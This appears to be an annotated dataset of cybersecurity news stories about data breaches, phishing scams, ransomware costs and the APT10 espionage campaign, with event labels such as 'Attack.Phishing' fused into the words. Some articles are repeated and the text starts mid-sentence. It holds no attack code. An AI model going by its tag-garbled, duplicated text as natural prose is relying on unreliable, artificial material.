on affecting “ a small percentage of our Radisson Rewards members ” . Business Traveller was alerted to the incident by one of our readers , who had received an email from Radisson confirming that his details had been compromisedAttack.Databreach. Radisson says that it identified the breach on October 1 , although it ’ s not clear exactly when the incident occured . A statement on the group ’ s website states : “ This data security incident did not compromiseAttack.Databreachany credit card or password information . Our ongoing investigation has determined that the information accessedAttack.Databreachwas restricted to member name , address ( including country of residence ) , email address , and in some cases , company name , phone number , Radisson Rewards member number and any frequent flyer numbers on file . “ Upon identifying this issue Radisson Rewards immediately revoked access to the unauthorized person ( s ) . All impacted member accounts have been secured and flagged to monitor for any potential unauthorized behavior . “ While the ongoing risk to your Radisson Rewards account is low , please monitor your account for any suspicious activity . You should also be aware that third parties may claim to beAttack.PhishingRadisson Rewards and attempt to gather personal information by deception ( known as “ phishingAttack.Phishing” ) , including through the use of links to fake websites . Radisson Rewards will not ask for your password or user information to be provided in an e-mail . “ Radisson Rewards takes this incident very seriously and is conducting an ongoing extensive investigation into the incident to help prevent data privacy incidents from happening again in the future. ” Radisson says that affected members will have receives an email notification from Radisson Rewards either yesterday ( October 30 ) or today ( October 31 ) . In the FAQs Radisson stresses that credit card data was not exposed by the breachAttack.Databreach, nor were members ’ passwords or travel histories / future stays . The hotel group is the latest in a line of travel companies to suffer data breachesAttack.Databreach, with British Airways and Cathay Pacific both admitting to compromisedAttack.Databreachdata in the last couple of months .
If your paycheck hits your bank account through direct deposit , be on the lookout for emails requesting personal information including log-in credentials -- they could be a phishing scamAttack.Phishingby hackers who want to access your bank account . The FBI warning comes as cyber criminals target the online payroll accounts of employees in a variety of industries , especially those in education , healthcare and commercial aviation . What is phishingAttack.Phishing? It 's a scam that involves targeting employees through phony emails designed to baitAttack.Phishingthe reader -hence the word `` phishingAttack.Phishing`` - and capture their login credentials . The login credentials are used to access individual payroll accounts in order to change bank account information , according to the agency ; the cyber thieves then block alerts to consumers warning of changes to their direct deposits , which are then redirected to another account , often a prepaid card controlled by scammers . Employees should hover their cursor over hyperlinks in any emails to view the URL to ensure it 's actually related to the company it purports to be from , and any suspicious requests should be forwarded to company IT or HR departments , the FBI advised . Most importantly , do not supply login credentials or personally identifying information in response to any email , the agency said .
If your paycheck hits your bank account through direct deposit , be on the lookout for emails requesting personal information including log-in credentials -- they could be a phishing scamAttack.Phishingby hackers who want to access your bank account . The FBI warning comes as cyber criminals target the online payroll accounts of employees in a variety of industries , especially those in education , healthcare and commercial aviation . What is phishingAttack.Phishing? It 's a scam that involves targeting employees through phony emails designed to baitAttack.Phishingthe reader -hence the word `` phishingAttack.Phishing`` - and capture their login credentials . The login credentials are used to access individual payroll accounts in order to change bank account information , according to the agency ; the cyber thieves then block alerts to consumers warning of changes to their direct deposits , which are then redirected to another account , often a prepaid card controlled by scammers . Employees should hover their cursor over hyperlinks in any emails to view the URL to ensure it 's actually related to the company it purports to be from , and any suspicious requests should be forwarded to company IT or HR departments , the FBI advised . Most importantly , do not supply login credentials or personally identifying information in response to any email , the agency said .
'Cloud Hopper ' campaign by sophisticated APT10 hacking group uses advanced phishingAttack.Phishingand customised malware to conduct espionage . A Chinese hacking group with advanced cyber-espionage capabilities has been targeting managed IT services providers across the globe in a campaign to stealAttack.Databreachsensitive data . The cybercriminal gang is using sophisticated phishing attacksAttack.Phishingand customised malware in order to infect victims ' machines and then gain access to IT providers and their customer networks . Dubbed Operation Cloud Hopper , the cyber-espionage campaign has been uncovered by security researchers at PwC , BAE Systems , and the UK 's National Cyber Security Centre . The researchers say the campaign is `` highly likely '' to be the work of the China-based APT10 hacking group . The group has been focusing on espionage since 2009 and has evolved from targeting US defence firms as well as the technology and telecommunications sectors to targeting organisations in multiple industries across the globe . The group was behind the Poison Ivy malware family and has evolved its operations to include using custom tools capable of compromisingAttack.Databreachhigh volumes of data from organisations and their customers , and stealthily moving it around the world . It 's because of the sophisticated nature of the campaign that PwC 's Operation Cloud Hopper report describes how APT10 `` almost certainly benefits from significant staffing and logistical resources , which have increased over the last three years '' . The group 's work shifted significantly during 2016 , as it started to focus on managed service providers , following the significant enhancements to its operations . The move enabled APT10 to exfiltrateAttack.Databreachdata from multiple victims around the world as part of a large scale campaign . Managed service providers ( MSPs ) represent a particularly lucrative target for attackers , because as well as having accessAttack.Databreachto their clients ' networks , they also store significant quantities of customer data , which can provide useful information or be sold for profit . Researchers note that the spear phishing campaignAttack.Phishingundertaken by APT10 indicates that the group conducts significant research on targets , in order to have the best chance of trickingAttack.Phishingthem into opening malicious documents attached to specially crafted emails . Once the hacking group has infiltrated a network , it conducts reconnaissance to ensure legitimate credentials have been gainedAttack.Databreach, before deploying tools such as mimikatz or PwDump to stealAttack.Databreachadditional credentials , administration credentials , and data from infected MSPs . The shared nature of MSP infrastructure enables APT10 's success , allowing the hackers to stealthily move between the networks of MSPs and clients -- hence the name Cloud Hopper . Using this approach , the group has been able to target organisations in the US , Canada , the UK , France , Switzerland , Scandinavia , South Africa , India , and Australia . `` The indirect approach of this attack highlights the need for organisations to have a comprehensive view of the threats they 're exposed to -- including those of their supply chain , '' Kris McConkey , partner , cyber threat detection and response at PwC , said . `` This is a global campaign with the potential to affect a wide range of countries , so organisations around the world should work with their security teams and providers to check networks for the key warning signs of compromise and ensure they respond and protect themselves accordingly . '' The National Cyber Security Centre has issued guidelines following the global targeting of enterprises via managed service providers , and notes how the activity detected `` likely represents only a small proportion of the total malicious activity '' .
Ransomware is costingAttack.RansomUK companies a whopping £346 million every year , despite Britain being labelled ‘ the most resolute ’ country for dealing with the cyber attacksAttack.Ransom. In fact , more than 40 per cent of mid-large UK business suffered on average five ransomware attacksAttack.Ransomduring the last year , according to research by Vanson Bourne . However , 92 per cent of security professionals feel confident in their ability to combat ransomware in the future . And there was more good news for British . The survey found the UK to be the most resolute , both in refusing to pay ransom demandsAttack.Ransom, as well as the most effective in combatting them . They experience the fewest number of attacks : 40 per cent , versus 70 per cent in Germany , 59 per cent in France and 55 per cent in the USA and enjoy a 43 per cent success rate in successfully defending against attacks . The research , commissioned by SentinelOne , reveals that ransomware is costingAttack.Ransomindividual businesses around the globe an average of £591,238 per annum . The research all concluded that the number of companies ravaged by ransomware is on the rise . Results show that the overall percentage of companies experiencing ransomware has increased from 48 per cent in 2016 to 56 per cent in 2018 , however the average number per year has fallen from six to five attacks . The amount of time spent decrypting ransomware attacksAttack.Ransomhas also increased from 33 to 40 man-hours . The study also reveals that employees are considered the major culprits responsible for introducing the malware into the business . This was further supported by the fact that phishingAttack.Phishing, which seeks to socially engineer employees , was the top attack vector by which ransomware infiltrated the business in 69 per cent of instances . Migo Kedem , director of Product Management at SentinelOne said : “ It ’ s staggering to see the cost to British businesses of £346 million . This figure shows that businesses are becoming increasingly aware that it ’ s not just the ransom demandAttack.Ransom, but rather the ancillary costs of downtime , staff time , lost business , as well as the data recovery costs and reputational damage that are the biggest concern to British businesses. ” He added : “ On a more positive note , it ’ s good to see CISOs feeling more bullish about their ability to tackle ransomware using the latest behavioural AI-based end-point technology . It ’ s also encouraging to see a clear movement against companies caving in to ransomware demandsAttack.Ransom, preferring instead to take more proactive measure such as back-ups and patchingVulnerability-related.PatchVulnerabilityof vulnerable systems . However , the volume of ransomware attacksAttack.Ransomis still increasing and their speed , scale , sophistication and success in evading detection with the growth in file-less and memory-based malware , explains why ransomware will continue to be a major threat to CISOs in 2018 and beyond . ”
When tragedy strikes , criminals invariably prey on people ’ s best intentions . Scammers have been using Hurricane Harvey-themed messages to trickAttack.Phishingpeople into opening phishing emails and links on social media sites , which can steal login information , infect machines with malware , or con victims out of money . US-CERT , a cybersecurity arm of the U.S. Department of Homeland Security , issued a warning about the threat on Monday . “ [ R ] emain vigilant for malicious cyber activity seeking to capitalize on interest in Hurricane Harvey , ” the advisory read . “ Emails requesting donations from duplicitous charitable organizations commonly appear after major natural disasters. ” As the advisory notes , a common scam during and after natural disasters is for fraudsters to pretendAttack.Phishingto set up relief funds and request donations . Fortune has seen several suspicious online profiles and personas that , although their legitimacy couldn ’ t be determined , raised several red flags : a small number of followers , unverified accounts , no apparent links to accredited charities , and no means to track where proceeds go . Zack Allen , threat operations manager at ZeroFOX , a social media-focused cybersecurity startup , says the ruse is a typical one . “ Cybercriminals are opportunists and , sadly , a crisis like Hurricane Harvey is a prime example of their preying on humanity ’ s empathy and trust , ” he wrote in an email to Fortune . “ People all over the world quickly rushed to their social media accounts to find the best avenues to donate to victims , but these same avenues are ideal for scammers who try to convinceAttack.Phishingvictims to donate to their fraudulent Hurricane Harvey cause. ” Kevin Epstein , vice president of threat operations at Proofpoint ( pfpt , +1.21 % ) , a cybersecurity firm that provides email protection , said that in recent days he has seen hurricane-related snares such as “ see this terrifying video ” or pleas to “ donate to the relief effort. ” One PDF attachment titled “ hurricane harvey – nueces county news release 11 – it ’ s your chance to help.pdf ” prompted people , when opened , to enter their email username and password , he told Fortune . It ’ s common for fraudsters to take advantage of news du jour to baitAttack.Phishingprospective victims . “ Consistently , attackers use world events as themes for their attacks , ” said Oren Falkowitz , CEO at Area1 Security , a cybersecurity startup that fights phishingAttack.Phishing. He noted that attacks related to tax season and national elections were examples of recent popular lures . A few tips you can use to stay safe : First , keep your software up to date . Hackers often try to compromise devices running outdated software that has security holes . Second , be careful what you click : Don ’ t accept or open unsolicited content from untrusted sources . ( You should even be wary of trusted contacts , as they too may have been compromised . ) Third , be sure the organizations to which you ’ re contributing money are legitimate . Here ’ s a rundown of some reputable charities assembled by Fortune . US-CERT further recommends reviewing these safety guidelines from by the Federal Trade Commission for Hurricane Harvey-related charitable giving , and cross-checking organizations on this directory of national charities from the Better Business Bureau .
As thousands of freshmen move into their dorms for the first time , there are plenty of thoughts rushing through their minds : their first time away from home , what cringey nickname they 're gon na try to make a thing , if there are any parties before orientation kicks off . One thing that probably is n't on their minds is whether they 're going to get hacked . But that 's all Carnegie Mellon University 's IT department thinks about . Back-to-school season means hordes of vulnerable computers arriving on campus . The beginning of the semester is the most vulnerable time for a campus network , and every year , with new students coming in , schools have to make sure everything runs smoothly . Carnegie Mellon 's network gets hit with 1,000 attacks a minute -- and that 's on a normal day . Cybersecurity is an increasingly important aspect of our everyday lives , with technology playing a massive role in nearly everything we do . Universities have been vulnerable to attacksAttack.Databreachin the past , with cybercriminals stealingAttack.Databreachstudent and faculty databases and hackers vandalizing university websites . Students are often targets for hackers , even before they 're officially enrolled . Considering how much money flows into a university from tuition costs , along with paying for room and board , criminals are looking to cash in on weak campus cybersecurity . A bonus for hackers : Admissions offices often hold data with private information like student Social Security numbers and addresses , as well as their families ' data from financial aid applications . PhishingAttack.Phishinghappens when hackers stealAttack.Databreachyour passwords by sendingAttack.Phishingyou links to fake websites that look likeAttack.Phishingthe real deal . It 's how Russians hacked the Democratic National Committee during the presidential election , and it 's a popular attack to use on universities as well . The latest warning , sent Monday , called out malware hidden in a document pretending to beAttack.Phishingfrom Syracuse University 's chancellor . Digging through my old emails , I found about 20 phishingAttack.Phishingwarnings that had gone out during the four years I 'd been there . Syracuse declined to comment on phishing attacksAttack.Phishingagainst the school , but in a 2016 blog post , it said the attacks were `` getting more frequent , cunning and malicious . '' The school is not alone . Duo Security , which protects more than 400 campuses , found that 70 percent of universities in the UK have fallen victim to phishing attacksAttack.Phishing. Syracuse , which uses Duo Security , fights phishing attacksAttack.Phishingwith two-factor authentication , which requires a second form of identity verification , like a code sent to your phone . But it just rolled out the feature last year . Kendra Cooley , a security analyst at Duo Security , pointed out that students are more likely to fall for phishing attacksAttack.Phishingbecause they have n't been exposed to them as frequently as working adults have . Also , cybercriminals know how to target young minds . `` You see a lot of click-bait phishing messages like celebrity gossip or free travel , '' Cooley said . All students at Carnegie Mellon are required to take a tech literacy course , in which cybersecurity is a focus , said Mary Ann Blair , the school 's chief information security officer . The school also runs monthly phishing campaignsAttack.Phishing: If a student or faculty member fallsAttack.Phishingfor the friendly trapAttack.Phishing, they 're redirected to a training opportunity . When your network is being hit with at least two phishing attemptsAttack.Phishinga day , Blair said , it 's a crucial precaution to keep students on guard . `` It 's just constantly jiggling the doorknobs to see if they 're unlocked , '' Blair said . `` A lot of it is automated attacks . '' It 's not just the thousands of new students that have university IT departments bracing for impact , it 's also their gadgets . `` All these kids are coming on campus , and you do n't know the security level of their devices , and you ca n't manage it , because it 's theirs , '' said Dennis Borin , a senior solutions architect at security company EfficientIP . A lot of university IT teams have their hands tied because they ca n't individually go to every student and scan all their computers . Borin 's company protects up to 75 campuses across the United States , and it 's always crunch time at the beginning of the semester . `` If I was on campus , I would n't let anybody touch my device , '' Borin said . `` So if somebody has malware on their device , how do you protect against an issue like that ? '' Instead of going through every single student , Borin said , his company just casts a wide net over the web traffic . If there 's any suspicious activity coming from a specific device , they 're able to send warnings to the student and kick him or her off the network when necessary . Keeping school networks safe is important for ensuring student life runs smoothly . A university that had only two people on its team reached out to EfficientIP after it suffered an attack . All of the school 's web services were down for an entire week while recovering from the attack , Borin said . Scam artists love to take advantage of timing , and the back-to-school season is a great opportunity for them . There was an influx of fake ransomware protection apps when WannaCry hitAttack.Ransom, as well as a spike in phony Pokemon Go apps stuffed with malware during the height of the game 's popularity . If there 's a massive event going on , you can bet people are flooding the market with phony apps to trickAttack.Phishingvictims into downloading viruses . A quick search for `` back to school apps '' in August found 1,182 apps that were blacklisted for containing malware or spyware , according to security firm RiskIQ . Researchers from the company scanned 120 mobile app stores , including the Google Play store , which had more than 300 blacklisted apps . They found apps for back-to-school tools ; themes and wallpapers for your device ; and some apps that promised to help you `` cheat on your exams . '' Though most of the blacklisted apps are poorly made games , others pretend to help you be a better student . Other warning signs to watch out for when it comes to sketchy apps are poorly written reviews and developers using public domain emails for contacts , Risk IQ said . For any educational apps , like Blackboard Learn , you should always check the sources and look for the official versions . New students coming to school have enough to worry about . Let 's hope a crash course in cybersecurity is enough to ensure they make it to graduation without getting hit by hacks .
BT MAIL users should be on alert as a new email scamAttack.Phishingis discovered which could be used to gain accessAttack.Databreachto personal details . Users of BT ’ s popular email service should be aware of a new scam which is targeting customers across the UK . The latest threat , which was unleashed over the weekend , suggests that customers ’ bills are overdue and need to be paid as soon as possible . The full message reads , “ Your latest bill is now overdue . You can view it online at My BT or on the app . To log in , you 'll need your BT ID . This is usually your email address . “ You need to pay it as soon as possible to avoid service intreruption ! ” This scam then attempts to trickAttack.Phishingusers by suggesting they should click a link to pay their outstanding bill . There ’ s plenty of warning signs about this message including obvious spelling errors and the fact there ’ s no official BT branding on the email . Another reason why this is clearly a fake is that it 's been sentAttack.Phishingto people who do n't even use BT as their email provider . One person hit by the scam told Express.co.uk that they receivedAttack.Phishingthe email on Sunday and have never had a BT broadband or BT email account . UK Police have also sent out an alert warning BT customers about this latest scamAttack.Phishingand advising them not to be cautious when clicking in links embedded within emails . In a tweet Warwickshire Police said they had “ received an email from BT re an outstanding bill today - there are links on it to pay the bill . `` This is an obvious scam , '' the message on Twitter continued . `` Please if you receive a similar one DO NOT CLICK ON THE LINKS - BT have been made aware . '' Express.co.uk has contacted BT for comment on this latest scam . BT has plenty of advice on its website about staying safe online . The broadband supplier states that internet scams can take many forms , from ' phishingAttack.Phishing' , where a fake email or web site will try to get you to part with your bank account information , to scams pretending to beAttack.Phishingfrom online auction , job or other websites that try to collect your personal data . Not sure if an email you 've received is genuine ? Do n't click on it , and never give out your account or bank details . Stay safe by being aware of `` phishingAttack.Phishing`` and other scams that might find their way into your inbox .
BT MAIL users should be on alert as a new email scamAttack.Phishingis discovered which could be used to gain accessAttack.Databreachto personal details . Users of BT ’ s popular email service should be aware of a new scam which is targeting customers across the UK . The latest threat , which was unleashed over the weekend , suggests that customers ’ bills are overdue and need to be paid as soon as possible . The full message reads , “ Your latest bill is now overdue . You can view it online at My BT or on the app . To log in , you 'll need your BT ID . This is usually your email address . “ You need to pay it as soon as possible to avoid service intreruption ! ” This scam then attempts to trickAttack.Phishingusers by suggesting they should click a link to pay their outstanding bill . There ’ s plenty of warning signs about this message including obvious spelling errors and the fact there ’ s no official BT branding on the email . Another reason why this is clearly a fake is that it 's been sentAttack.Phishingto people who do n't even use BT as their email provider . One person hit by the scam told Express.co.uk that they receivedAttack.Phishingthe email on Sunday and have never had a BT broadband or BT email account . UK Police have also sent out an alert warning BT customers about this latest scamAttack.Phishingand advising them not to be cautious when clicking in links embedded within emails . In a tweet Warwickshire Police said they had “ received an email from BT re an outstanding bill today - there are links on it to pay the bill . `` This is an obvious scam , '' the message on Twitter continued . `` Please if you receive a similar one DO NOT CLICK ON THE LINKS - BT have been made aware . '' Express.co.uk has contacted BT for comment on this latest scam . BT has plenty of advice on its website about staying safe online . The broadband supplier states that internet scams can take many forms , from ' phishingAttack.Phishing' , where a fake email or web site will try to get you to part with your bank account information , to scams pretending to beAttack.Phishingfrom online auction , job or other websites that try to collect your personal data . Not sure if an email you 've received is genuine ? Do n't click on it , and never give out your account or bank details . Stay safe by being aware of `` phishingAttack.Phishing`` and other scams that might find their way into your inbox .
Email is great for keeping in touch with friends and family and quickly conversing with colleagues but it ’ s not without its pitfalls . Scammers approachAttack.Phishingpeople via email to encourage them to hand over private or sensitive information about themselves or the company they work for . “ The most prevalent threats we see targeting consumers today are phishing attacksAttack.Phishingpredominantly via email , where scammers try to trickAttack.Phishingpeople into sharing private information or access to money , ” Jessica Brookes , director of EMEA consumer at McAfee , told the Press Association . “ The first thing you should know about phishingAttack.Phishingis that it almost always involves a form of ‘ social engineering ’ , in which the scammer tries to manipulateAttack.Phishingyou into trusting them for fraudulent purposes , often by pretending to beAttack.Phishinga legitimate person or business . Secondly , if an email doesn ’ t seem legitimate , it probably isn ’ t ; it ’ s always better to be safe than sorry. ” Here are four of the most popular scams circulating today : 1 ) The CEO Scam This scamAttack.Phishingappears asAttack.Phishingan email from a leader in your organisation , asking for highly sensitive information like company accounts or employee salaries . The hackers fakeAttack.Phishingthe boss ’ s email address so it looks likeAttack.Phishinga legitimate internal company email . That ’ s what makes this scam so convincing – the lure is that you want to do your job and please your boss . But keep this scam in mind if you receive an email asking for confidential or highly sensitive information , and ask the apparent sender directly whether the request is real , before responding . 2 ) The Lucky Email How fortunate ! You ’ ve won a free gift , an exclusive service , or a great deal on a trip abroad . Just remember , whatever “ limited time offer ” you ’ re being sold , it ’ s probably a phishing scamAttack.Phishingdesigned to get you to give up your credit card number or identity information . The lure here is something free or exciting at what appears to be little or no cost to you . 3 ) The Urgent Email Attachment Phishing emails that try to trickAttack.Phishingyou into downloading a dangerous attachment that can potentially infect your computer and steal your private information have been around for a long time . This is because they work . You ’ ve probably received emails asking you to download attachments confirming a package delivery , trip itinerary or prize . They might urge you to “ respond immediately ” . The lureAttack.Phishinghere is offering you something you want , and invoking a sense of urgency to get you to click . 4 ) The Romance Scam This one can happen completely online , over the phone , or in person once initial contact is established . But the romance scam always starts with someone supposedly looking for love . The scammer often poses asAttack.Phishinga friend-of-a-friend via email and contacts you directly . But what starts as the promise of love or partnership , often leads to requests for money or pricey gifts . The scammer will sometimes spin a hardship story , saying they need to borrow money to come visit you or pay their phone bill so they can stay in touch . The lure here is simple – love and acceptance . Brookes added : “ It is everyone ’ s responsibility to be aware and educate each other – we need to share knowledge and collaborate to protect ourselves against the current threats we face as people living in a connected world . ”
The IRS , state tax agencies and the nation ’ s tax industry urge people to be on the lookout for new , sophisticated email phishing scamsAttack.Phishingthat could endanger their personal information and next year ’ s tax refund . The most common way for cybercriminals to stealAttack.Databreachbank account information , passwords , credit cards or social security numbers is to simply ask for them . Every day , people fall victim to phishing scamsAttack.Phishingthat cost them their time and their money . Those emails urgently warning users to update their online financial accounts—they ’ re fake . That email directing users to download a document from a cloud-storage provider ? Fake . Those other emails suggesting the recipients have a $ 64 tax refund waiting at the IRS or that the IRS needs information about insurance policies—also fake . So are many new and evolving variations of these schemes . The Internal Revenue Service , state tax agencies and the tax community are marking National Tax Security Awareness Week with a series of reminders to taxpayers and tax professionals . Phishing attacksAttack.Phishinguse email or malicious websites to solicit personal , tax or financial information by posing asAttack.Phishinga trustworthy organization . Often , recipients are fooledAttack.Phishinginto believing the phishingAttack.Phishingcommunication is from someone they trust . A scam artist may take advantage of knowledge gained from online research and earlier attempts to masquerade asAttack.Phishinga legitimate source , including presenting the look and feel of authentic communications , such as using an official logo . These targeted messages can trickAttack.Phishingeven the most cautious person into taking action that may compromise sensitive data . The scams may contain emails with hyperlinks that take users to a fake site . Other versions contain PDF attachments that may download malware or viruses . Some phishing emails will appear to come fromAttack.Phishinga business colleague , friend or relative . These emails might be an email account compromise . Criminals may have compromisedAttack.Databreachyour friend ’ s email account and begin using their email contacts to sendAttack.Phishingphishing emails . Not all phishing attemptsAttack.Phishingare emails , some are phone scams . One of the most common phone scams is the caller pretending to beAttack.Phishingfrom the IRS and threatening the taxpayer with a lawsuit or with arrest if payment is not made immediately , usually through a debit card . Phishing attacksAttack.Phishing, especially online phishing scamsAttack.Phishing, are popular with criminals because there is no fool-proof technology to defend against them . Users are the main defense . When users see a phishing scamAttack.Phishing, they should ensure they don ’ t take the baitAttack.Phishing.
Cybercriminals are finding it more difficult to maintain the malicious URLs and deceptive domains used for phishing attacksAttack.Phishingfor more than a few hours because action is being taken to remove them from the internet much more quickly . That does n't mean that phishingAttack.Phishing-- one of the most common means of performing cyber-attacks -- is any less dangerous , but a faster approach to dealing with the issue is starting to hinder attacks . Deceptive domain names look likeAttack.Phishingthose of authentic services , so that somebody who clicks on a malicious link may not realise they are n't visiting the real website of the organisation being spoofedAttack.Phishing. One of the most common agencies to be imitatedAttack.Phishingby cyber-attackers around the world is that of government tax collectors . The idea behind such attacksAttack.Phishingis that people will be trickedAttack.Phishinginto believing they are owed money by emails claiming to beAttack.Phishingfrom the taxman . However , no payment ever comes , and if a victim falls for such an attack , they 're only going to lose money when their bank details are stolenAttack.Databreach, and they can even have their personal information compromisedAttack.Databreach. In order to combat phishingAttack.Phishingand other forms of cyber-attack , the UK 's National Cyber Crime Centre -- the internet security arm of GCHQ -- launched what it called the Active Cyber Defence programme a year ago . It appears to have some success in its first 12 months because , despite a rise in registered fraudulent domains , the lifespan of a phishing URL has been reduced and the number of global phishing attacksAttack.Phishingbeing carried out by UK-hosted sites has declined from five percent to three percent . The figures are laid out in a new NCSC report : Active Cyber Defence - One Year On . During that time , 121,479 phishing sites hosted in the UK , and 18,067 worldwide spoofingAttack.PhishingUK government , were taken down , with many of them purporting to beAttack.PhishingHMRC and linked to phishing emails in the form of tax refund scams . An active approach to dealing with phishing domains has also led to a reduction in the amount of time these sites are active , potentially limiting cybercriminal campaigns before they can gain any real traction . Prior to the launch of the program , the average time a phishing website spoofingAttack.Phishinga UK government website remained active was for 42 hours -- or almost two days . Now , with an approach designed around looking for domains and taking them down , that 's dropped to ten hours , leaving a much smaller window for attacks to be effective . However , while this does mean there 's less time for the attackers to stealAttack.Databreachinformation or finances , it does n't mean that they 're not successful in carrying out attacks . The increased number of registered domains for carrying out phishing attacksAttack.Phishingshows that crooks are happy to work a little bit harder in order to reap the rewards of campaigns -- and the NCSC is n't under any illusion that the job of protecting internet users is anywhere near complete . `` The ACD programme intends to increase our cyber adversaries ' risk and reduces their return on investment to protect the majority of people in the UK from cyber attacks , '' said Dr Ian Levy , technical director of the NCSC . `` The results we have published today are positive , but there is a lot more work to be done . The successes we have had in our first year will cause attackers to change their behaviour and we will need to adapt . '' A focus on taking down HMRC and other government-related domains has helped UK internet users , but cyber-attacks are n't limited by borders , with many malicious IPs hosted in practically every country used to carry out cyber-attacks around the world -- meaning every country should be playing a part . `` Obviously , phishingAttack.Phishingand web-inject attacks are not connected to the UK 's IP space and most campaigns of these types are hosted elsewhere . There needs to be concerted international effort to have a real effect on the security of users , '' says the report .
Cybercriminals are finding it more difficult to maintain the malicious URLs and deceptive domains used for phishing attacksAttack.Phishingfor more than a few hours because action is being taken to remove them from the internet much more quickly . That does n't mean that phishingAttack.Phishing-- one of the most common means of performing cyber-attacks -- is any less dangerous , but a faster approach to dealing with the issue is starting to hinder attacks . Deceptive domain names look likeAttack.Phishingthose of authentic services , so that somebody who clicks on a malicious link may not realise they are n't visiting the real website of the organisation being spoofedAttack.Phishing. One of the most common agencies to be imitatedAttack.Phishingby cyber-attackers around the world is that of government tax collectors . The idea behind such attacksAttack.Phishingis that people will be trickedAttack.Phishinginto believing they are owed money by emails claiming to beAttack.Phishingfrom the taxman . However , no payment ever comes , and if a victim falls for such an attack , they 're only going to lose money when their bank details are stolenAttack.Databreach, and they can even have their personal information compromisedAttack.Databreach. In order to combat phishingAttack.Phishingand other forms of cyber-attack , the UK 's National Cyber Crime Centre -- the internet security arm of GCHQ -- launched what it called the Active Cyber Defence programme a year ago . It appears to have some success in its first 12 months because , despite a rise in registered fraudulent domains , the lifespan of a phishing URL has been reduced and the number of global phishing attacksAttack.Phishingbeing carried out by UK-hosted sites has declined from five percent to three percent . The figures are laid out in a new NCSC report : Active Cyber Defence - One Year On . During that time , 121,479 phishing sites hosted in the UK , and 18,067 worldwide spoofingAttack.PhishingUK government , were taken down , with many of them purporting to beAttack.PhishingHMRC and linked to phishing emails in the form of tax refund scams . An active approach to dealing with phishing domains has also led to a reduction in the amount of time these sites are active , potentially limiting cybercriminal campaigns before they can gain any real traction . Prior to the launch of the program , the average time a phishing website spoofingAttack.Phishinga UK government website remained active was for 42 hours -- or almost two days . Now , with an approach designed around looking for domains and taking them down , that 's dropped to ten hours , leaving a much smaller window for attacks to be effective . However , while this does mean there 's less time for the attackers to stealAttack.Databreachinformation or finances , it does n't mean that they 're not successful in carrying out attacks . The increased number of registered domains for carrying out phishing attacksAttack.Phishingshows that crooks are happy to work a little bit harder in order to reap the rewards of campaigns -- and the NCSC is n't under any illusion that the job of protecting internet users is anywhere near complete . `` The ACD programme intends to increase our cyber adversaries ' risk and reduces their return on investment to protect the majority of people in the UK from cyber attacks , '' said Dr Ian Levy , technical director of the NCSC . `` The results we have published today are positive , but there is a lot more work to be done . The successes we have had in our first year will cause attackers to change their behaviour and we will need to adapt . '' A focus on taking down HMRC and other government-related domains has helped UK internet users , but cyber-attacks are n't limited by borders , with many malicious IPs hosted in practically every country used to carry out cyber-attacks around the world -- meaning every country should be playing a part . `` Obviously , phishingAttack.Phishingand web-inject attacks are not connected to the UK 's IP space and most campaigns of these types are hosted elsewhere . There needs to be concerted international effort to have a real effect on the security of users , '' says the report .
Cybercriminals are finding it more difficult to maintain the malicious URLs and deceptive domains used for phishing attacksAttack.Phishingfor more than a few hours because action is being taken to remove them from the internet much more quickly . That does n't mean that phishingAttack.Phishing-- one of the most common means of performing cyber-attacks -- is any less dangerous , but a faster approach to dealing with the issue is starting to hinder attacks . Deceptive domain names look likeAttack.Phishingthose of authentic services , so that somebody who clicks on a malicious link may not realise they are n't visiting the real website of the organisation being spoofedAttack.Phishing. One of the most common agencies to be imitatedAttack.Phishingby cyber-attackers around the world is that of government tax collectors . The idea behind such attacksAttack.Phishingis that people will be trickedAttack.Phishinginto believing they are owed money by emails claiming to beAttack.Phishingfrom the taxman . However , no payment ever comes , and if a victim falls for such an attack , they 're only going to lose money when their bank details are stolenAttack.Databreach, and they can even have their personal information compromisedAttack.Databreach. In order to combat phishingAttack.Phishingand other forms of cyber-attack , the UK 's National Cyber Crime Centre -- the internet security arm of GCHQ -- launched what it called the Active Cyber Defence programme a year ago . It appears to have some success in its first 12 months because , despite a rise in registered fraudulent domains , the lifespan of a phishing URL has been reduced and the number of global phishing attacksAttack.Phishingbeing carried out by UK-hosted sites has declined from five percent to three percent . The figures are laid out in a new NCSC report : Active Cyber Defence - One Year On . During that time , 121,479 phishing sites hosted in the UK , and 18,067 worldwide spoofingAttack.PhishingUK government , were taken down , with many of them purporting to beAttack.PhishingHMRC and linked to phishing emails in the form of tax refund scams . An active approach to dealing with phishing domains has also led to a reduction in the amount of time these sites are active , potentially limiting cybercriminal campaigns before they can gain any real traction . Prior to the launch of the program , the average time a phishing website spoofingAttack.Phishinga UK government website remained active was for 42 hours -- or almost two days . Now , with an approach designed around looking for domains and taking them down , that 's dropped to ten hours , leaving a much smaller window for attacks to be effective . However , while this does mean there 's less time for the attackers to stealAttack.Databreachinformation or finances , it does n't mean that they 're not successful in carrying out attacks . The increased number of registered domains for carrying out phishing attacksAttack.Phishingshows that crooks are happy to work a little bit harder in order to reap the rewards of campaigns -- and the NCSC is n't under any illusion that the job of protecting internet users is anywhere near complete . `` The ACD programme intends to increase our cyber adversaries ' risk and reduces their return on investment to protect the majority of people in the UK from cyber attacks , '' said Dr Ian Levy , technical director of the NCSC . `` The results we have published today are positive , but there is a lot more work to be done . The successes we have had in our first year will cause attackers to change their behaviour and we will need to adapt . '' A focus on taking down HMRC and other government-related domains has helped UK internet users , but cyber-attacks are n't limited by borders , with many malicious IPs hosted in practically every country used to carry out cyber-attacks around the world -- meaning every country should be playing a part . `` Obviously , phishingAttack.Phishingand web-inject attacks are not connected to the UK 's IP space and most campaigns of these types are hosted elsewhere . There needs to be concerted international effort to have a real effect on the security of users , '' says the report .
